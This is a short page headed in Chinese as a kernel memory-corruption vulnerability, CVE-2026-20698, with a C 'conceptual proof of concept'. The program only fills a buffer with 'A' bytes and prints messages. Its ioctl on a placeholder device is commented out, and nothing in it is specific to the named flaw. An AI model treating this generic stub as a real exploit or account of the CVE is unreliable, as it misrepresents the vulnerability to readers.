CVE-2026-20698 内核内存损坏漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> // Conceptual Proof of Concept for CVE-2026-20698 // This code simulates the trigger condition for the kernel memory corruption. // Actual exploitation requires specific kernel offsets and vulnerable IOKit class. #define VULNERABLE_IOCTL 0x1234 int main() { printf("[*] CVE-2026-20698 PoC Trigger\n"); printf("[*] Attempting to corrupt kernel memory...\n"); // Simulate allocating a buffer to pass to the kernel size_t buf_size = 0x1000; char *buffer = (char *)malloc(buf_size); if (!buffer) { perror("malloc"); return -1; } memset(buffer, 0x41, buf_size); // Fill with 'A' // In a real scenario, this would invoke the vulnerable system call // or open a device file and issue an ioctl. // exploit_fd = open("/dev/vulnerable_device", O_RDWR); // ioctl(exploit_fd, VULNERABLE_IOCTL, buffer); printf("[+] Payload sent (Simulated).\n"); printf("[*] If successful, kernel panic or memory corruption should occur.\n"); free(buffer); return 0; }